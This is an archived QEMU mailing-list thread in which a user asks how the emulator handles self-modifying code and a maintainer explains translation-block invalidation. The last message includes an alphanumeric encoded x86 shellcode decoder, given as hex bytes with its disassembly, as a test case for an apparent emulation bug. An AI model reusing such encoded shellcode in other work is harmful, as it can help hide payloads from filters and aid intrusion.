* [Qemu-devel] Question regarding self-modifying code. @ 2016-01-13 16:45 farmdve 2016-01-13 17:18 ` Peter Maydell 0 siblings, 1 reply; 7+ messages in thread From: farmdve @ 2016-01-13 16:45 UTC (permalink / raw) To: qemu-devel [-- Attachment #1: Type: text/plain, Size: 88 bytes --] On Windows, in software MMU mode, how does QEMU handle self-modifying code? Thank you. [-- Attachment #2: Type: text/html, Size: 133 bytes --] ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [Qemu-devel] Question regarding self-modifying code. 2016-01-13 16:45 [Qemu-devel] Question regarding self-modifying code farmdve @ 2016-01-13 17:18 ` Peter Maydell [not found] ` <CAHGme8sE+hOQwS+neP5A_-S-pyLg_YhdE1jT7W+nL7mi0BHi2A@mail.gmail.com> 0 siblings, 1 reply; 7+ messages in thread From: Peter Maydell @ 2016-01-13 17:18 UTC (permalink / raw) To: farmdve; +Cc: QEMU Developers On 13 January 2016 at 16:45, farmdve <farmdve@gmail.com> wrote: > On Windows, in software MMU mode, how does QEMU handle > self-modifying code? When we translate the guest code in a page of guest memory, we mark that page as "not dirty for code" by calling tlb_protect_code(), which clears a DIRTY_MEMORY_CODE bit and also ensures that subsequent guest writes to this page will take a slow code path. On that slow code path (in notdirty_mem_write()) we check to see if the DIRTY_MEMORY_CODE flag is clear for this page, and if it is then we throw away the translated code by calling tb_invalidate_phys_page_fast(). If the guest later tries to execute from the page again, we will translate the guest code again (and so will use the freshly modified code). There is some slight extra complication for CPUs which can validly modify the code they're executing (ie which don't need any kind of "flush cache/pipeline" or a branch between the store which modifies the code and the execution of the modified code). You can find those by looking at the changes controlled by the TARGET_HAS_PRECISE_SMC #define, which we only need for x86 guests at the moment. (For CPUs which don't set that, attempting to self-modify code in the same TB won't work, which is OK because architecturally that doesn't work on hardware either.) thanks -- PMM ^ permalink raw reply [flat|nested] 7+ messages in thread
[parent not found: <CAHGme8sE+hOQwS+neP5A_-S-pyLg_YhdE1jT7W+nL7mi0BHi2A@mail.gmail.com>]
[parent not found: <CAFEAcA_EiFu0Okn5AEkeauO=ndfti-+CcCbr850iogQojJ5QAg@mail.gmail.com>]
* Re: [Qemu-devel] Question regarding self-modifying code. [not found] ` <CAFEAcA_EiFu0Okn5AEkeauO=ndfti-+CcCbr850iogQojJ5QAg@mail.gmail.com> @ 2016-01-14 10:15 ` farmdve 2016-01-14 10:27 ` Peter Maydell 0 siblings, 1 reply; 7+ messages in thread From: farmdve @ 2016-01-14 10:15 UTC (permalink / raw) To: qemu-devel [-- Attachment #1: Type: text/plain, Size: 2128 bytes --] Sorry about that. Somehow Google decided it should reply to you, rather than the mailing list. It was an honest mistake. Original question is below I am unable to get this part here if (!(tb_end <= start || tb_start >= end)) in tb_invalidate_phys_page_range What would happen if code forward modifies itself, but that condition evaluates to true? Then this piece here won't get executed > #ifdef TARGET_HAS_PRECISE_SMC > if (current_tb_not_found) { > current_tb_not_found = 0; > current_tb = NULL; > if (cpu->mem_io_pc) { > /* now we have a real cpu fault */ > current_tb = tb_find_pc(uc, cpu->mem_io_pc); > } > } > if (current_tb == tb && > (current_tb->cflags & CF_COUNT_MASK) != 1) { > /* If we are modifying the current TB, we must stop > its execution. We could be more precise by checking > that the modification is after the current PC, but it > would require a specialized function to partially > restore the CPU state */ > > current_tb_modified = 1; > // self-modifying code will restore state from TB > cpu_restore_state_from_tb(cpu, current_tb, cpu->mem_io_pc); > cpu_get_tb_cpu_state(env, ¤t_pc, ¤t_cs_base, > ¤t_flags); > } > #endif /* TARGET_HAS_PRECISE_SMC */ > It just so happens I am experiencing such a case. On 14 January 2016 at 11:58, Peter Maydell <peter.maydell@linaro.org> wrote: > On 14 January 2016 at 00:37, farmdve <farmdve@gmail.com> wrote: > > I am unable to get this part here if (!(tb_end <= start || tb_start >= > end)) > > in tb_invalidate_phys_page_range > > > > What would happen if code forward modifies itself, but that condition > > evaluates to true? > > Please can you send questions to the mailing list, not to > me personally. That way anybody who knows and has time to > answer can do so. > > thanks > -- PMM > [-- Attachment #2: Type: text/html, Size: 4582 bytes --] ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [Qemu-devel] Question regarding self-modifying code. 2016-01-14 10:15 ` farmdve @ 2016-01-14 10:27 ` Peter Maydell [not found] ` <CAHGme8sPAEea6rTKYiypTE+_2Sp5RiNDTo22gNOBy2fppsduBw@mail.gmail.com> 0 siblings, 1 reply; 7+ messages in thread From: Peter Maydell @ 2016-01-14 10:27 UTC (permalink / raw) To: farmdve; +Cc: QEMU Developers On 14 January 2016 at 10:15, farmdve <farmdve@gmail.com> wrote: > Sorry about that. Somehow Google decided it should reply to you, rather than > the mailing list. It was an honest mistake. > > Original question is below > > > I am unable to get this part here if (!(tb_end <= start || tb_start >= end)) > in tb_invalidate_phys_page_range > > What would happen if code forward modifies itself, but that condition > evaluates to true? If that condition is true, then the TB we're looking at (as we iterate through every TB we know about) is not in fact overlapping with the page that the guest just modified, and so is not affected by the write... > Then this piece here won't get executed ...and so it is correct that we don't need to do anything for this TB. thanks -- PMM ^ permalink raw reply [flat|nested] 7+ messages in thread
[parent not found: <CAHGme8sPAEea6rTKYiypTE+_2Sp5RiNDTo22gNOBy2fppsduBw@mail.gmail.com>]
* Re: [Qemu-devel] Question regarding self-modifying code. [not found] ` <CAHGme8sPAEea6rTKYiypTE+_2Sp5RiNDTo22gNOBy2fppsduBw@mail.gmail.com> @ 2016-01-14 14:29 ` farmdve 2016-01-14 14:36 ` Peter Maydell 0 siblings, 1 reply; 7+ messages in thread From: farmdve @ 2016-01-14 14:29 UTC (permalink / raw) To: qemu-devel [-- Attachment #1: Type: text/plain, Size: 1373 bytes --] Again, sorry for the personal message, Peter, Google really is failing here, more so than me. >> But in my case, an instruction did forward modify some code, but this if statement did not execute and QEMU executed the old code. On 14 January 2016 at 16:28, farmdve <farmdve@gmail.com> wrote: > But in my case, an instruction did forward modify some code, but this if > statement did not execute and QEMU executed the old code. > > On 14 January 2016 at 12:27, Peter Maydell <peter.maydell@linaro.org> > wrote: > >> On 14 January 2016 at 10:15, farmdve <farmdve@gmail.com> wrote: >> > Sorry about that. Somehow Google decided it should reply to you, rather >> than >> > the mailing list. It was an honest mistake. >> > >> > Original question is below >> > >> > >> > I am unable to get this part here if (!(tb_end <= start || tb_start >= >> end)) >> > in tb_invalidate_phys_page_range >> > >> > What would happen if code forward modifies itself, but that condition >> > evaluates to true? >> >> If that condition is true, then the TB we're looking at (as we >> iterate through every TB we know about) is not in fact overlapping >> with the page that the guest just modified, and so is not affected >> by the write... >> >> > Then this piece here won't get executed >> >> ...and so it is correct that we don't need to do anything for this TB. >> >> thanks >> -- PMM >> > > [-- Attachment #2: Type: text/html, Size: 2251 bytes --] ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [Qemu-devel] Question regarding self-modifying code. 2016-01-14 14:29 ` farmdve @ 2016-01-14 14:36 ` Peter Maydell 2016-01-14 15:12 ` farmdve 0 siblings, 1 reply; 7+ messages in thread From: Peter Maydell @ 2016-01-14 14:36 UTC (permalink / raw) To: farmdve; +Cc: QEMU Developers On 14 January 2016 at 14:29, farmdve <farmdve@gmail.com> wrote: > Again, sorry for the personal message, Peter, Google really is failing here, > more so than me. There's a "Default reply behaviour" setting in Settings->General in gmail that you can use to make it default to reply-to-all rather than just reply if you prefer that. > But in my case, an instruction did forward modify some code, but > this if statement did not execute and QEMU executed the old code. Can't really diagnose this without a test case. But the if condition is pretty trivial and very unlikely to be wrong. thanks -- PMM ^ permalink raw reply [flat|nested] 7+ messages in thread
* Re: [Qemu-devel] Question regarding self-modifying code. 2016-01-14 14:36 ` Peter Maydell @ 2016-01-14 15:12 ` farmdve 0 siblings, 0 replies; 7+ messages in thread From: farmdve @ 2016-01-14 15:12 UTC (permalink / raw) Cc: QEMU Developers [-- Attachment #1: Type: text/plain, Size: 1780 bytes --] I can only provide this shellcode right here. \x89\xe1\xd9\xcd\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49" \ "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58" \ "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" \ "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51\x51\x51\x52" \ "\x47\x33\x47\x34\x51\x55\x51\x56\x50\x47\x47\x38\x47\x39\x50\x4a" \ "\x50\x4b\x50\x4c\x50\x4d\x50\x4e\x50\x4f\x50\x50\x50\x31\x47\x42" \ "\x47\x42\x50\x34\x50\x5a\x50\x45\x51\x52\x46\x32\x47\x31\x50\x4d" \ "\x51\x51\x50\x4e\x41\x41 This code runs normally in a debugger when executed on a real CPU. Here is the disassembly of the relevant parts. mov ecx,esp fxch st5 fnstenv dword ptr ds:[ecx-C] pop ebp push ebp pop ecx dec ecx dec ecx dec ecx dec ecx dec ecx dec ecx dec ecx dec ecx dec ecx dec ecx inc ebx inc ebx inc ebx inc ebx inc ebx inc ebx aaa push ecx pop edx push 41 pop eax push eax xor byte ptr ds:[ecx+30],al inc ecx imul eax,dword ptr ds:[ecx+41],51 <-- should multiply with 0x10, not 0x51. The code is position independent. On 14 January 2016 at 16:36, Peter Maydell <peter.maydell@linaro.org> wrote: > On 14 January 2016 at 14:29, farmdve <farmdve@gmail.com> wrote: > > Again, sorry for the personal message, Peter, Google really is failing > here, > > more so than me. > > There's a "Default reply behaviour" setting in Settings->General > in gmail that you can use to make it default to reply-to-all > rather than just reply if you prefer that. > > > But in my case, an instruction did forward modify some code, but > > this if statement did not execute and QEMU executed the old code. > > Can't really diagnose this without a test case. But the > if condition is pretty trivial and very unlikely to be wrong. > > thanks > -- PMM > [-- Attachment #2: Type: text/html, Size: 2834 bytes --] ^ permalink raw reply [flat|nested] 7+ messages in thread
end of thread, other threads:[~2016-01-14 15:12 UTC | newest] Thread overview: 7+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2016-01-13 16:45 [Qemu-devel] Question regarding self-modifying code farmdve 2016-01-13 17:18 ` Peter Maydell [not found] ` <CAHGme8sE+hOQwS+neP5A_-S-pyLg_YhdE1jT7W+nL7mi0BHi2A@mail.gmail.com> [not found] ` <CAFEAcA_EiFu0Okn5AEkeauO=ndfti-+CcCbr850iogQojJ5QAg@mail.gmail.com> 2016-01-14 10:15 ` farmdve 2016-01-14 10:27 ` Peter Maydell [not found] ` <CAHGme8sPAEea6rTKYiypTE+_2Sp5RiNDTo22gNOBy2fppsduBw@mail.gmail.com> 2016-01-14 14:29 ` farmdve 2016-01-14 14:36 ` Peter Maydell 2016-01-14 15:12 ` farmdve
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).